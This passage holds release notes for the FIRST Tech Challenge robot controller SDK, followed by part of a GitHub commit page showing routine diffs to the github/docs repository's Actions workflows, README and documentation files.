copying blocks in one OpMode and pasting them in an other OpMode. The clipboard content is stored on the phone, so the programming mode server must be running. Modified Utilities section of the toolbox. In Programming Mode, display information about the active connections. Fixed paste location when workspace has been scrolled. Added blocks support for the android Accelerometer. Fixed issue where Blocks Upload Op Mode truncated name at first dot. Added blocks support for Android SoundPool. Added type safety to blocks for Acceleration. Added type safety to blocks for AdafruitBNO055IMU.Parameters. Added type safety to blocks for AnalogInput. Added type safety to blocks for AngularVelocity. Added type safety to blocks for Color. Added type safety to blocks for ColorSensor. Added type safety to blocks for CompassSensor. Added type safety to blocks for CRServo. Added type safety to blocks for DigitalChannel. Added type safety to blocks for ElapsedTime. Added type safety to blocks for Gamepad. Added type safety to blocks for GyroSensor. Added type safety to blocks for IrSeekerSensor. Added type safety to blocks for LED. Added type safety to blocks for LightSensor. Added type safety to blocks for LinearOpMode. Added type safety to blocks for MagneticFlux. Added type safety to blocks for MatrixF. Added type safety to blocks for MrI2cCompassSensor. Added type safety to blocks for MrI2cRangeSensor. Added type safety to blocks for OpticalDistanceSensor. Added type safety to blocks for Orientation. Added type safety to blocks for Position. Added type safety to blocks for Quaternion. Added type safety to blocks for Servo. Added type safety to blocks for ServoController. Added type safety to blocks for Telemetry. Added type safety to blocks for Temperature. Added type safety to blocks for TouchSensor. Added type safety to blocks for UltrasonicSensor. Added type safety to blocks for VectorF. Added type safety to blocks for Velocity. Added type safety to blocks for VoltageSensor. Added type safety to blocks for VuforiaLocalizer.Parameters. Added type safety to blocks for VuforiaTrackable. Added type safety to blocks for VuforiaTrackables. Added type safety to blocks for enums in AdafruitBNO055IMU.Parameters. Added type safety to blocks for AndroidAccelerometer, AndroidGyroscope, AndroidOrientation, and AndroidTextToSpeech. Version 2.4 (released on 16.11.13) Fix to avoid crashing for nonexistent resources. Blocks Programming mode changes: Added blocks to support OpenGLMatrix, MatrixF, and VectorF. Added blocks to support AngleUnit, AxesOrder, AxesReference, CameraDirection, CameraMonitorFeedback, DistanceUnit, and TempUnit. Added blocks to support Acceleration. Added blocks to support LinearOpMode.getRuntime. Added blocks to support MagneticFlux and Position. Fixed typos. Made blocks for ElapsedTime more consistent with other objects. Added blocks to support Quaternion, Velocity, Orientation, AngularVelocity. Added blocks to support VuforiaTrackables, VuforiaTrackable, VuforiaLocalizer, VuforiaTrackableDefaultListener. Fixed a few blocks. Added type checking to new blocks. Updated to latest blockly. Added default variable blocks to navigation and matrix blocks. Fixed toolbox entry for openGLMatrix_rotation_withAxesArgs. When user downloads Blocks-generated op mode, only the .blk file is downloaded. When user uploads Blocks-generated op mode (.blk file), Javascript code is auto generated. Added DbgLog support. Added logging when a blocks file is read/written. Fixed bug to properly render blocks even if missing devices from configuration file. Added support for additional characters (not just alphanumeric) for the block file names (for download and upload). Added support for OpMode flavor (“Autonomous” or “TeleOp”) and group. Changes to Samples to prevent tutorial issues. Incorporated suggested changes from public pull 216 (“Replace .. paths”). Remove Servo Glitches when robot stopped. if user hits “Cancels” when editing a configuration file, clears the unsaved changes and reverts to original unmodified configuration. Added log info to help diagnose why the Robot Controller app was terminated (for example, by watch dog function). Added ability to transfer log from the controller. Fixed inconsistency for AngularVelocity Limit unbounded growth of data for telemetry. If user does not call telemetry.update() for LinearOpMode in a timely manner, data added for telemetry might get lost if size limit is exceeded. Version 2.35 (released on 16.10.06) Blockly programming mode - Removed unnecesary idle() call from blocks for new project. Version 2.30 (released on 16.10.05) Blockly programming mode: Mechanism added to save Blockly op modes from Programming Mode Server onto local device To avoid clutter, blocks are displayed in categorized folders Added support for DigitalChannel Added support for ModernRoboticsI2cCompassSensor Added support for ModernRoboticsI2cRangeSensor Added support for VoltageSensor Added support for AnalogInput Added support for AnalogOutput Fix for CompassSensor setMode block Vuforia Fix deadlock / make camera data available while Vuforia is running. Update to Vuforia 6.0.117 (recommended by Vuforia and Google to close security loophole). Fix for autonomous 30 second timer bug (where timer was in effect, even though it appeared to have timed out). opModeIsActive changes to allow cleanup after op mode is stopped (with enforced 2 second safety timeout). Fix to avoid reading i2c twice. Updated sample Op Modes. Improved logging and fixed intermittent freezing. Added digital I/O sample. Cleaned up device names in sample op modes to be consistent with Pushbot guide. Fix to allow use of IrSeekerSensorV3. Version 2.20 (released on 16.09.08) Support for Modern Robotics Compass Sensor. Support for Modern Robotics Range Sensor. Revise device names for Pushbot templates to match the names used in Pushbot guide. Fixed bug so that IrSeekerSensorV3 device is accessible as IrSeekerSensor in hardwareMap. Modified computer vision code to require an individual Vuforia license (per legal requirement from PTC). Minor fixes. Blockly enhancements: Support for Voltage Sensor. Support for Analog Input. Support for Analog Output. Support for Light Sensor. Support for Servo Controller. Version 2.10 (released on 16.09.03) Support for Adafruit IMU. Improvements to ModernRoboticsI2cGyro class Block on reset of z axis. isCalibrating() returns true while gyro is calibration. Updated sample gyro program. Blockly enhancements support for android.graphics.Color. added support for ElapsedTime. improved look and legibility of blocks. support for compass sensor. support for ultrasonic sensor. support for IrSeeker. support for LED. support for color sensor. support for CRServo prompt user to configure robot before using programming mode. Provides ability to disable audio cues. various bug fixes and improvements. Version 2.00 (released on 16.08.19) This is the new release for the upcoming 2016-2017 FIRST Tech Challenge Season. Channel change is enabled in the FTC Robot Controller app for Moto G 2nd and 3rd Gen phones. Users can now use annotations to register/disable their Op Modes. Changes in the Android SDK, JDK and build tool requirements (minsdk=19, java 1.7, build tools 23.0.3). Standardized units in analog input. Cleaned up code for existing analog sensor classes. setChannelMode and getChannelMode were REMOVED from the DcMotorController class. This is important - we no longer set the motor modes through the motor controller. setMode and getMode were added to the DcMotor class. ContinuousRotationServo class has been added to the FTC SDK. Range.clip() method has been overloaded so it can support this operation for int, short and byte integers. Some changes have been made (new methods added) on how a user can access items from the hardware map. Users can now set the zero power behavior for a DC motor so that the motor will brake or float when power is zero. Prototype Blockly Programming Mode has been added to FTC Robot Controller. Users can place the Robot Controller into this mode, and then use a device (such as a laptop) that has a Javascript enabled browser to write Blockly-based Op Modes directly onto the Robot Controller. Users can now configure the robot remotely through the FTC Driver Station app. Android Studio project supports Android Studio 2.1.x and compile SDK Version 23 (Marshmallow). Vuforia Computer Vision SDK integrated into FTC SDK. Users can use sample vision targets to get localization information on a standard FTC field. Project structure has been reorganized so that there is now a TeamCode package that users can use to place their local/custom Op Modes into this package. Inspection function has been integrated into the FTC Robot Controller and Driver Station Apps (Thanks Team HazMat… 9277 & 10650!). Audio cues have been incorporated into FTC SDK. Swap mechanism added to FTC Robot Controller configuration activity. For example, if you have two motor controllers on a robot, and you misidentified them in your configuration file, you can use the Swap button to swap the devices within the configuration file (so you do not have to manually re-enter in the configuration info for the two devices). Fix mechanism added to all user to replace an electronic module easily. For example, suppose a servo controller dies on your robot. You replace the broken module with a new module, which has a different serial number from the original servo controller. You can use the Fix button to automatically reconfigure your configuration file to use the serial number of the new module. Improvements made to fix resiliency and responsiveness of the system. For LinearOpMode the user now must for a telemetry.update() to update the telemetry data on the driver station. This update() mechanism ensures that the driver station gets the updated data properly and at the same time. The Auto Configure function of the Robot Controller is now template based. If there is a commonly used robot configuration, a template can be created so that the Auto Configure mechanism can be used to quickly configure a robot of this type. The logic to detect a runaway op mode (both in the LinearOpMode and OpMode types) and to abort the run, then auto recover has been improved/implemented. Fix has been incorporated so that Logitech F310 gamepad mappings will be correct for Marshmallow users. Release 16.07.08 For the ftc_app project, the gradle files have been modified to support Android Studio 2.1.x. Release 16.03.30 For the MIT App Inventor, the design blocks have new icons that better represent the function of each design component. Some changes were made to the shutdown logic to ensure the robust shutdown of some of our USB services. A change was made to LinearOpMode so as to allow a given instance to be executed more than once, which is required for the App Inventor. Javadoc improved/updated. Release 16.03.09 Changes made to make the FTC SDK synchronous (significant change!) waitOneFullHardwareCycle() and waitForNextHardwareCycle() are no longer needed and have been deprecated. runOpMode() (for a LinearOpMode) is now decoupled from the system's hardware read/write thread. loop() (for an OpMode) is now decoupled from the system's hardware read/write thread. Methods are synchronous. For example, if you call setMode(DcMotorController.RunMode.RESET_ENCODERS) for a motor, the encoder is guaranteed to be reset when the method call is complete. For legacy module (NXT compatible), user no longer has to toggle between read and write modes when reading from or writing to a legacy device. Changes made to enhance reliability/robustness during ESD event. Changes made to make code thread safe. Debug keystore added so that user-generated robot controller APKs will all use the same signed key (to avoid conflicts if a team has multiple developer laptops for example). Firmware version information for Modern Robotics modules are now logged. Changes made to improve USB comm reliability and robustness. Added support for voltage indicator for legacy (NXT-compatible) motor controllers. Changes made to provide auto stop capabilities for op modes. A LinearOpMode class will stop when the statements in runOpMode() are complete. User does not have to push the stop button on the driver station. If an op mode is stopped by the driver station, but there is a run away/uninterruptible thread persisting, the app will log an error message then force itself to crash to stop the runaway thread. Driver Station UI modified to display lowest measured voltage below current voltage (12V battery). Driver Station UI modified to have color background for current voltage (green=good, yellow=caution, red=danger, extremely low voltage). javadoc improved (edits and additional classes). Added app build time to About activity for driver station and robot controller apps. Display local IP addresses on Driver Station About activity. Added I2cDeviceSynchImpl. Added I2cDeviceSync interface. Added seconds() and milliseconds() to ElapsedTime for clarity. Added getCallbackCount() to I2cDevice. Added missing clearI2cPortActionFlag. Added code to create log messages while waiting for LinearOpMode shutdown. Fix so Wifi Direct Config activity will no longer launch multiple times. Added the ability to specify an alternate i2c address in software for the Modern Robotics gyro. Release 16.02.09 Improved battery checker feature so that voltage values get refreshed regularly (every 250 msec) on Driver Station (DS) user interface. Improved software so that Robot Controller (RC) is much more resilient and “self-healing” to USB disconnects: If user attempts to start/restart RC with one or more module missing, it will display a warning but still start up. When running an op mode, if one or more modules gets disconnected, the RC & DS will display warnings,and robot will keep on working in spite of the missing module(s). If a disconnected module gets physically reconnected the RC will auto detect the module and the user will regain control of the recently connected module. Warning messages are more helpful (identifies the type of module that’s missing plus its USB serial number). Code changes to fix the null gamepad reference when users try to reference the gamepads in the init() portion of their op mode. NXT light sensor output is now properly scaled. Note that teams might have to readjust their light threshold values in their op modes. On DS user interface, gamepad icon for a driver will disappear if the matching gamepad is disconnected or if that gamepad gets designated as a different driver. Robot Protocol (ROBOCOL) version number info is displayed in About screen on RC and DS apps. Incorporated a display filter on pairing screen to filter out devices that don’t use the “-“ format. This filter can be turned off to show all WiFi Direct devices. Updated text in License file. Fixed formatting error in OpticalDistanceSensor.toString(). Fixed issue on with a blank (“”) device name that would disrupt WiFi Direct Pairing. Made a change so that the WiFi info and battery info can be displayed more quickly on the DS upon connecting to RC. Improved javadoc generation. Modified code to make it easier to support language localization in the future. Release 16.01.04 Updated compileSdkVersion for apps Prevent Wifi from entering power saving mode removed unused import from driver station Corrrected "Dead zone" joystick code. LED.getDeviceName and .getConnectionInfo() return null apps check for ROBOCOL_VERSION mismatch Fix for Telemetry also has off-by-one errors in its data string sizing / short size limitations error User telemetry output is sorted. added formatting variants to DbgLog and RobotLog APIs code modified to allow for a long list of op mode names. changes to improve thread safety of RobocolDatagramSocket Fix for "missing hardware leaves robot controller disconnected from driver station" error fix for "fast tapping of Init/Start causes problems" (toast is now only instantiated on UI thread). added some log statements for thread life cycle. moved gamepad reset logic inside of initActiveOpMode() for robustness changes made to mitigate risk of race conditions on public methods. changes to try and flag when WiFi Direct name contains non-printable characters. fix to correct race condition between .run() and .close() in ReadWriteRunnableStandard. updated FTDI driver made ReadWriteRunnableStanard interface public. fixed off-by-one errors in Command constructor moved specific hardware implmentations into their own package. moved specific gamepad implemnatations to the hardware library. changed LICENSE file to new BSD version. fixed race condition when shutting down Modern Robotics USB devices. methods in the ColorSensor classes have been synchronized. corrected isBusy() status to reflect end of motion. corrected "back" button keycode. the notSupported() method of the GyroSensor class was changed to protected (it should not be public). Release 15.11.04.001 Added Support for Modern Robotics Gyro. The GyroSensor class now supports the MR Gyro Sensor. Users can access heading data (about Z axis) Users can also access raw gyro data (X, Y, & Z axes). Example MRGyroTest.java op mode included. Improved error messages More descriptive error messages for exceptions in user code. Updated DcMotor API Enable read mode on new address in setI2cAddress Fix so that driver station app resets the gamepads when switching op modes. USB-related code changes to make USB comm more responsive and to display more explicit error messages. Fix so that USB will recover properly if the USB bus returns garbage data. Fix USB initializtion race condition. Better error reporting during FTDI open. More explicit messages during USB failures. Fixed bug so that USB device is closed if event loop teardown method was not called. Fixed timer UI issue Fixed duplicate name UI bug (Legacy Module configuration). Fixed race condition in EventLoopManager. Fix to keep references stable when updating gamepad. For legacy Matrix motor/servo controllers removed necessity of appending "Motor" and "Servo" to controller names. Updated HT color sensor driver to use constants from ModernRoboticsUsbLegacyModule class. Updated MR color sensor driver to use constants from ModernRoboticsUsbDeviceInterfaceModule class. Correctly handle I2C Address change in all color sensors Updated/cleaned up op modes. Updated comments in LinearI2cAddressChange.java example op mode. Replaced the calls to "setChannelMode" with "setMode" (to match the new of the DcMotor method). Removed K9AutoTime.java op mode. Added MRGyroTest.java op mode (demonstrates how to use MR Gyro Sensor). Added MRRGBExample.java op mode (demonstrates how to use MR Color Sensor). Added HTRGBExample.java op mode (demonstrates how to use HT legacy color sensor). Added MatrixControllerDemo.java (demonstrates how to use legacy Matrix controller). Updated javadoc documentation. Updated release .apk files for Robot Controller and Driver Station apps. Release 15.10.06.002 Added support for Legacy Matrix 9.6V motor/servo controller. Cleaned up build.gradle file. Minor UI and bug fixes for driver station and robot controller apps. Throws error if Ultrasonic sensor (NXT) is not configured for legacy module port 4 or 5. Release 15.08.03.001 New user interfaces for FTC Driver Station and FTC Robot Controller apps. An init() method is added to the OpMode class. For this release, init() is triggered right before the start() method. Eventually, the init() method will be triggered when the user presses an "INIT" button on driver station. The init() and loop() methods are now required (i.e., need to be overridden in the user's op mode). The start() and stop() methods are optional. A new LinearOpMode class is introduced. Teams can use the LinearOpMode mode to create a linear (not event driven) program model. Teams can use blocking statements like Thread.sleep() within a linear op mode. The API for the Legacy Module and Core Device Interface Module have been updated. Support for encoders with the Legacy Module is now working. The hardware loop has been updated for better performance.
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Skip to content github / docs Code Issues 80 Pull requests 35 Discussions Actions Projects 2 Security Insights Merge branch 'main' into 1862-Add-Travis-CI-migration-table 1862-Add-Travis-CI-migration-table (#1869, Iixixi/ZachryTylerWood#102, THEBOLCK79/docs#1, sbnbhk/docs#1) @martin389 martin389 committed on Dec 9, 2020 2 parents 2f9ec0c + 1588f50 commit 1a56ed136914e522f3a23ecc2be1c49f479a1a6a Showing 501 changed files with 5,397 additions and 1,362 deletions. 2 .github/allowed-actions.js @@ -30,7 +30,7 @@ module.exports = [ 'rachmari/labeler@832d42ec5523f3c6d46e8168de71cd54363e3e2e', 'repo-sync/github-sync@3832fe8e2be32372e1b3970bbae8e7079edeec88', 'repo-sync/pull-request@33777245b1aace1a58c87a29c90321aa7a74bd7d', 'rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815', 'someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd', 'tjenkinson/gh-action-auto-merge-dependency-updates@cee2ac0', 'EndBug/add-and-commit@9358097a71ad9fb9e2f9624c6098c89193d83575' ] 72 .github/workflows/confirm-internal-staff-work-in-docs.yml @@ -0,0 +1,72 @@ name: Confirm internal staff meant to post in public on: issues: types: - opened - reopened - transferred pull_request_target: types: - opened - reopened jobs: check-team-membership: runs-on: ubuntu-latest continue-on-error: true if: github.repository == 'github/docs' steps: - uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | // Only perform this action with GitHub employees try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'employees', username: context.payload.sender.login, }); } catch(err) { // An error will be thrown if the user is not a GitHub employee // If a user is not a GitHub employee, we should stop here and // Not send a notification return } // Don't perform this action with Docs team members try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'docs', username: context.payload.sender.login, }); // If the user is a Docs team member, we should stop here and not send // a notification return } catch(err) { // An error will be thrown if the user is not a Docs team member // If a user is not a Docs team member we should continue and send // the notification } const issueNo = context.number || context.issue.number // Create an issue in our private repo await github.issues.create({ owner: 'github', repo: 'docs-internal', title: `@${context.payload.sender.login} confirm that \#${issueNo} should be in the public github/docs repo`, body: `@${context.payload.sender.login} opened https://github.com/github/docs/issues/${issueNo} publicly in the github/docs repo, instead of the private github/docs-internal repo.\n\n@${context.payload.sender.login}, please confirm that this belongs in the public repo and that no sensitive information was disclosed by commenting below and closing the issue.\n\nIf this was not intentional and sensitive information was shared, please delete https://github.com/github/docs/issues/${issueNo} and notify us in the \#docs-open-source channel.\n\nThanks! \n\n/cc @github/docs @github/docs-engineering` }); throw new Error('A Hubber opened an issue on the public github/docs repo'); - name: Send Slack notification if a GitHub employee who isn't on the docs team opens an issue in public if: ${{ failure() && github.repository == 'github/docs' }} uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd with: channel: ${{ secrets.DOCS_OPEN_SOURCE_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} text: <@${{github.actor}}> opened https://github.com/github/docs/issues/${{ github.event.number || github.event.issue.number }} publicly on the github/docs repo instead of the private github/docs-internal repo. They have been notified via a new issue in the github/docs-internal repo to confirm this was intentional. 15 .github/workflows/js-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.js", "package*.json", ".github/workflows/js-lint.yml", ".eslint*"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 13 .github/workflows/repo-freeze-reminders.yml @@ -14,11 +14,10 @@ jobs: if: github.repository == 'github/docs-internal' steps: - name: Send Slack notification if repo is frozen uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: ${{ env.FREEZE == 'true' }} uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':freezing_face:' SLACK_COLOR: '#51A0D5' # Carolina Blue SLACK_MESSAGE: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: info text: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! 54 .github/workflows/repo-sync-stalls.yml @@ -0,0 +1,54 @@ name: Repo Sync Stalls on: workflow_dispatch: schedule: - cron: '*/30 * * * *' jobs: check-freezer: name: Check for deployment freezes runs-on: ubuntu-latest steps: - name: Exit if repo is frozen if: ${{ env.FREEZE == 'true' }} run: | echo 'The repo is currently frozen! Exiting this workflow.' exit 1 # prevents further steps from running repo-sync-stalls: runs-on: ubuntu-latest steps: - name: Check if repo sync is stalled uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | let pulls; const owner = context.repo.owner const repo = context.repo.repo try { pulls = await github.pulls.list({ owner: owner, repo: repo, head: `${owner}:repo-sync`, state: 'open' }); } catch(err) { throw err return } pulls.data.forEach(pr => { const timeDelta = Date.now() - Date.parse(pr.created_at); const minutesOpen = timeDelta / 1000 / 60; if (minutesOpen > 30) { core.setFailed('Repo sync appears to be stalled') } }) - name: Send Slack notification if workflow fails uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: Repo sync appears to be stalled for ${{github.repository}}. See https://github.com/${{github.repository}}/pulls?q=is%3Apr+is%3Aopen+repo+sync 16 .github/workflows/repo-sync.yml @@ -7,6 +7,7 @@ name: Repo Sync on: workflow_dispatch: schedule: - cron: '*/15 * * * *' # every 15 minutes @@ -70,11 +71,10 @@ jobs: number: ${{ steps.find-pull-request.outputs.number }} - name: Send Slack notification if workflow fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 if: ${{ failure() }} env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':ohno:' SLACK_COLOR: '#B90E0A' # Crimson SLACK_MESSAGE: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 10 .github/workflows/sync-algolia-search-indices.yml @@ -33,8 +33,10 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: npm run sync-search - name: Send slack notification if workflow run fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_MESSAGE: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` 15 .github/workflows/yml-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.yml", "**/*.yaml", "package*.json", ".github/workflows/yml-lint.yml"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 4 README.md @@ -28,7 +28,7 @@ If you've found a problem, you can open an issue using a [template](https://gith #### Solve an issue If you have a solution to one of the open issues, you will need to fork the repository and submit a PR using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). If you have a solution to one of the open issues, you will need to fork the repository and submit a pull request using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). #### Join us in discussions @@ -50,6 +50,8 @@ There are a few more things to know when you're getting started with this repo: In addition to the README you're reading right now, this repo includes other READMEs that describe the purpose of each subdirectory in more detail: - [content/README.md](content/README.md) - [content/graphql/README.md](content/graphql/README.md) - [content/rest/README.md](content/rest/README.md) - [contributing/README.md](contributing/README.md) - [data/README.md](data/README.md) - [data/reusables/README.md](data/reusables/README.md) BIN +164 KB assets/images/help/classroom/assignment-group-hero.png Binary file not shown. BIN +75.5 KB assets/images/help/classroom/assignment-ide-go-grant-access-button.png Binary file not shown. BIN +175 KB assets/images/help/classroom/assignment-individual-hero.png Binary file not shown. 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You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 6 content/actions/creating-actions/creating-a-javascript-action.md @@ -261,9 +261,11 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% elsif currentVersion ver_gt "enterprise-server@2.22" %}  {% else %}  4 content/actions/guides/about-packaging-with-github-actions.md @@ -25,7 +25,11 @@ Creating a package at the end of a continuous integration workflow can help duri Now, when reviewing a pull request, you'll be able to look at the workflow run and download the artifact that was produced. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} This will let you run the code in the pull request on your machine, which can help with debugging or testing the pull request. 4 content/actions/guides/building-and-testing-powershell.md @@ -60,7 +60,11 @@ jobs: * `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory. * `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example: {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} * `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following: ``` 7 content/actions/guides/storing-workflow-data-as-artifacts.md @@ -108,8 +108,6 @@ jobs: path: output/test/code-coverage.html ```  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Configuring a custom artifact retention period @@ -238,7 +236,12 @@ jobs: echo The result is $value ``` The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" %} 8 content/actions/index.md @@ -68,18 +68,18 @@ versions: <h2 class="mb-2 font-mktg h1">Code examples</h2> <div class="pr-lg-3 mb-5 mt-3"> <input class="js-code-example-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> <input class="js-filter-card-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> </div> <div class="d-flex flex-wrap gutter"> {% render 'code-example-card' for actionsCodeExamples as example %} </div> <button class="js-code-example-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <div class="js-code-example-no-results d-none py-4 text-center text-gray font-mktg"> <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-code-example-filter-value"></strong></h3> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/action_code_examples.yml">Learn how to add a code example {% octicon "arrow-right" %}</a> </div> 11 content/actions/learn-github-actions/introduction-to-github-actions.md @@ -204,7 +204,7 @@ In this diagram, you can see the workflow file you just created and how the {% d ### Viewing the job's activity Once your job has started running, you can view each step's activity on {% data variables.product.prodname_dotcom %}. Once your job has started running, you can {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click **Actions**. @@ -213,7 +213,14 @@ Once your job has started running, you can view each step's activity on {% data  1. Under "Workflow runs", click the name of the run you want to see.  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the job you want to see.  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. View the results of each step.  {% elsif currentVersion ver_gt "enterprise-server@2.22" %} 1. Click on the job name to see the results of each step.  {% else %} 7 content/actions/managing-workflow-runs/canceling-a-workflow.md @@ -17,9 +17,14 @@ versions: {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.  1. In the upper-right corner of the workflow, click **Cancel workflow**. {% if currentVersion == 